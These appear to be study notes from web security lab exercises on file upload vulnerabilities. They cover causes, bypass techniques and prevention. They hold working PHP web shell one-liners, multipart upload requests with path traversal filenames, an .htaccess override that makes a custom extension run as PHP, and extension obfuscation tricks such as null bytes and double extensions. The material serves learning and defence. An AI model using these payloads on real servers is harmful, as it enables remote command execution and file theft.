# File upload vulnerabilities

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.

## What is the impact of file upload vulnerabilities?

Which aspect of the file the website fails to validate properly, whether that be its size, type, contents, and so on

What restrictions are imposed on the file once it has been successfully uploaded

In the worst case scenario, the file's type isn't validated properly, and the server configuration allows certain types of file (such as `.php` and `.jsp`) to be executed as code. In this case, an attacker could potentially upload a server-side code file that functions as a web shell, effectively granting them full control over the server

If the filename isn't validated properly, this could allow an attacker to overwrite critical files simply by uploading a file with the same name.

If the server is also vulnerable to directory traversal, this could mean attackers are even able to upload files to unanticipated locations.

## How do file upload vulnerabilities arise?

If this file type is non-executable, such as an image or a static HTML page, the server may just send the file's contents to the client in an HTTP response

If the file type is executable, such as a PHP file, **and** the server is configured to execute files of this type, it will assign variables based on the headers and parameters in the HTTP request before running the script

If the file type is executable, but the server **is not** configured to execute files of this type, it will generally respond with an error. However, in some cases, the contents of the file may still be served to the client as plain text.

## Exploiting unrestricted file uploads to deploy a web shell

From a security perspective, the worst possible scenario is when a website allows you to upload server-side scripts, such as PHP, Java, or Python files, and is also configured to execute them as code. This makes it trivial to create your own web shell on the server.

PHP one-liner could be used to read arbitrary files from the server's filesystem:

```php
<?php echo file_get_contents('/path/to/target/file'); ?>

<?php echo system($_GET['command']); ?>
GET /example/exploit.php?command=id HTTP/1.1
```

## Exploiting flawed validation of file uploads

### Flawed file type validation

```http
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"

wiener
---------------------------012345678901234567890123456--
```

One way that websites may attempt to validate file uploads is to check that this input-specific `Content-Type` header matches an expected MIME type

If the server is only expecting image files, for example, it may only allow types like `image/jpeg` and `image/png`. Problems can arise when the value of this header is implicitly trusted by the server. If no further validation is performed to check whether the contents of the file actually match the supposed MIME type, this defense can be easily bypassed using tools like Burp Repeater.

### Preventing file execution in user-accessible directories

While it's clearly better to prevent dangerous file types being uploaded in the first place, the second line of defense is to stop the server from executing any scripts that do slip through the net.

As a precaution, servers generally only run scripts whose MIME type they have been explicitly configured to execute.

```
------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="avatar"; filename="..%2fcmd.php"
Content-Type: php

<?php echo system($_GET['command']); ?>

------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="csrf"

l6DouhGwy1jnUGCzaFG53LvLOcIVahYg
------WebKitFormBoundaryCjGSdFibhljda6CZ--

use in the url /cmd.php?command=ls  //this will execute ls command in the server

------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="avatar"; filename="..%2fpeakpx.php"
Content-Type: php

<?php echo file_get_contents('/home/carlos/secret'); ?>

------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="csrf"

l6DouhGwy1jnUGCzaFG53LvLOcIVahYg
------WebKitFormBoundaryCjGSdFibhljda6CZ--
```

**Insufficient blacklisting of dangerous file types**

One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like `.php`. The practice of blacklisting is inherently flawed as it's difficult to explicitly block every possible file extension that could be used to execute code

Such blacklists can sometimes be bypassed by using lesser known, alternative file extensions that may still be executable, such as `.php5`, `.shtml`, and so on.

**Overriding the server configuration**

before an Apache server will execute PHP files requested by a client, developers might have to add the following directives to their `/etc/apache2/apache2.conf` file:

```http
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
```

Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings

**Lab :**

```http
------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: php

AddType application/x-httpd-php .sujal
```

using the .htaccess config file of apache to create a new extenstion .sujal

```http
------WebKitFormBoundaryCjGSdFibhljda6CZ
Content-Disposition: form-data; name="avatar"; filename="cmd.sujal"
Content-Type: php

<?php echo system($_GET['command']); ?>
```

```http
GET /example/exploit.php?command=echo+"<?php+echo+file_get_contents('/home/carlos/secret');+?>"+|+cat+>>+gojo1.php HTTP/1.1
```

**Obfuscating file extensions**

- Let's say the validation code is case sensitive and fails to recognize that `exploit.pHp` is in fact a `.php` file.
- Provide multiple extensions. Depending on the algorithm used to parse the filename, the following file may be interpreted as either a PHP file or JPG image: `exploit.php.jpg`
- Add trailing characters. Some components will strip or ignore trailing whitespaces, dots, and suchlike: `exploit.php.`
- Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashesed: `exploit%2Ephp`
- Add semicolons or URL-encoded null byte characters before the file extension.`exploit.asp;.jpg` or `exploit.asp%00.jpg`

- Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like `xC0 x2E`, `xC4 xAE` or `xC0 xAE` may be translated to `x2E` if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path

defenses involve stripping or replacing dangerous extensions to prevent the file from being executed. If this transformation isn't applied recursively, you can position the prohibited string in such a way that removing it still leaves behind a valid file extension.

```
exploit.p.phphp
```

**Lab :**

Website only allow jpg and png upload so we used a null charater (%00) to comment out .jpg

```http
exploit.php%00.jpg
```

**Flawed validation of the file's contents**

Instead of implicitly trusting the `Content-Type` specified in a request, more secure servers try to verify that the contents of the file actually match what is expected.

Similarly, certain file types may always contain a specific sequence of bytes in their header or footer. These can be used like a fingerprint or signature to determine whether the contents match the expected type. For example, JPEG files always begin with the bytes `FF D8 FF`.

**Exploiting file upload [race conditions](race conditions)**

Modern frameworks generally don't upload files directly to their intended destination on the filesystem. Instead, they take precautions like uploading to a temporary, sandboxed directory first and randomizing the name to avoid overwriting existing files. They then perform validation on this temporary file and only transfer it to its destination once it is deemed safe to do so

some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.

**Race conditions in URL-based file uploads**

if the file is loaded into a temporary directory with a randomized name, in theory, it should be impossible for an attacker to exploit any race conditions. If they don't know the name of the directory, they will be unable to request the file in order to trigger its execution. On the other hand, if the randomized directory name is generated using pseudo-random functions like PHP's `uniqid()`, it can potentially be brute-forced.

## Exploiting file upload vulnerabilities without remote code execution

### Uploading malicious client-side scripts

Although you might not be able to execute scripts on the server, you may still be able to upload scripts for client-side attacks. For example, if you can upload HTML files or SVG images, you can potentially use `<script>` tags to create stored XSS payloads.

### Exploiting vulnerabilities in the parsing of uploaded files

If the uploaded file seems to be both stored and served securely, the last resort is to try exploiting vulnerabilities specific to the parsing or processing of different file formats. For example, you know that the server parses XML-based files, such as Microsoft Office `.doc` or `.xls` files, this may be a potential vector for XXE injection attacks

## Uploading files using PUT

means of uploading malicious files, even when an upload function isn't available via the web interface

```http
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>
```

## How to prevent file upload vulnerabilities

- Check the file extension against a whitelist of permitted extensions rather than a blacklist of prohibited ones. It's much easier to guess which extensions you might want to allow than it is to guess which ones an attacker might try to upload

- Make sure the filename doesn't contain any substrings that may be interpreted as a directory or a traversal sequence (`../`)

- Rename uploaded files to avoid collisions that may cause existing files to be overwritten

- Do not upload files to the server's permanent filesystem until they have been fully validated

- As much as possible, use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms